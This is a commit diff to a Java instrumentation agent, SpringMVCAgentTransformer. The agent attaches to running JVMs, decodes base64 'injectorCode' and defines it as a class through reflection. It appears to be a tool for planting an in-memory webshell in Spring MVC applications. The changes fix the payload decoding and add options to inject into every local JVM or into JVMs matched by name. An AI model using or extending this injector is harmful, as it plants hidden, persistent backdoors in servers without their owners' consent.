1717import java .net .URL ;
1818import java .net .URLClassLoader ;
1919import java .security .ProtectionDomain ;
20+ import java .util .ArrayList ;
2021import java .util .List ;
2122
2223public class SpringMVCAgentTransformer implements ClassFileTransformer {
@@ -59,7 +60,7 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
5960 " } catch (Throwable e) {\n " +
6061 " Class base64Clazz = Class.forName(\" java.util.Base64\" );\n " +
6162 " Object decoder = base64Clazz.getMethod(\" getDecoder\" , null).invoke(base64Clazz, null);\n " +
62- " byteArray = (byte[]) base64Clazz. getMethod(\" decode\" , new Class[]{byte[] .class}).invoke(decoder, new Object[]{injectorCode});\n " +
63+ " byteArray = (byte[]) decoder.getClass(). getMethod(\" decode\" , new Class[]{String .class}).invoke(decoder, new Object[]{injectorCode});\n " +
6364 " }\n " +
6465 " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n " +
6566 " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\" defineClass\" , new Class[]{byte[].class, int.class, int.class});\n " +
@@ -132,22 +133,45 @@ public byte[] transform(ClassLoader loader, String className, Class<?> classBein
132133
133134 }
134135
136+ /*
137+ 参数说明见 TomcatAgentTransformer
138+ */
135139 public static void main (String [] args ) throws Exception {
136- String jvmProcessId = null ;
137140 if (args .length == 0 ) {
138- // 列出所有 pid
139141 listAllJvmPids ();
140- }else {
141- try {
142- Integer . parseInt ( args [0 ]) ;
143- jvmProcessId = args [ 0 ];
144- attachAgentToTargetJvm ( jvmProcessId );
145- } catch ( NumberFormatException e ) {
146- throw new IllegalArgumentException ( "Argument must be an integer representing a JVM process ID" );
142+ }
143+ else if ( args . length == 1 ) {
144+ String arg = args [0 ];
145+ if ( arg . equalsIgnoreCase ( "all" )) {
146+ for ( String jvmProcessId : getAllJvmPids ()) {
147+ attachAgentToTargetJvm ( jvmProcessId );
148+ }
147149 }
150+ else {
151+ try {
152+ Integer .parseInt (arg );
153+ attachAgentToTargetJvm (arg );
154+ }
155+ catch (NumberFormatException e ) {
156+ for (String jvmProcessId : getJvmPidsByDisplayName (arg )) {
157+ attachAgentToTargetJvm (jvmProcessId );
158+ }
159+ }
160+ }
161+ } else {
162+ throw new IllegalArgumentException ("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName." );
148163 }
149164 }
150165
166+ public static List <String > getAllJvmPids () throws Exception {
167+ List <String > pids = new ArrayList <>();
168+ for (Object vm : vms ) {
169+ Method getId = virtualMachineDescriptorClass .getDeclaredMethod ("id" );
170+ String id = (String ) getId .invoke (vm );
171+ pids .add (id );
172+ }
173+ return pids ;
174+ }
151175
152176 public static void listAllJvmPids () throws Exception {
153177 for (Object vm : vms ) {
@@ -159,6 +183,23 @@ public static void listAllJvmPids() throws Exception {
159183 }
160184 }
161185
186+ public static List <String > getJvmPidsByDisplayName (String displayName ) throws Exception {
187+ List <String > pids = new ArrayList <>();
188+ for (Object vm : vms ) {
189+ Method displayNameMethod = virtualMachineDescriptorClass .getMethod ("displayName" );
190+ String currentDisplayName = (String ) displayNameMethod .invoke (vm );
191+ System .out .println (currentDisplayName );
192+ System .out .println (displayName );
193+ System .out .println ();
194+ if (currentDisplayName .toLowerCase ().contains (displayName .toLowerCase ())) {
195+ Method getId = virtualMachineDescriptorClass .getDeclaredMethod ("id" );
196+ String id = (String ) getId .invoke (vm );
197+ pids .add (id );
198+ }
199+ }
200+ return pids ;
201+ }
202+ 162203 private static void attachAgentToTargetJvm (String targetPID ) throws Exception {
163204 String agentFilePath = new File (SpringMVCAgentTransformer .class .getProtectionDomain ().getCodeSource ().getLocation ().getPath ()).getCanonicalPath ();
164205 infoLog ("Current agent path: " + agentFilePath );
0 commit comments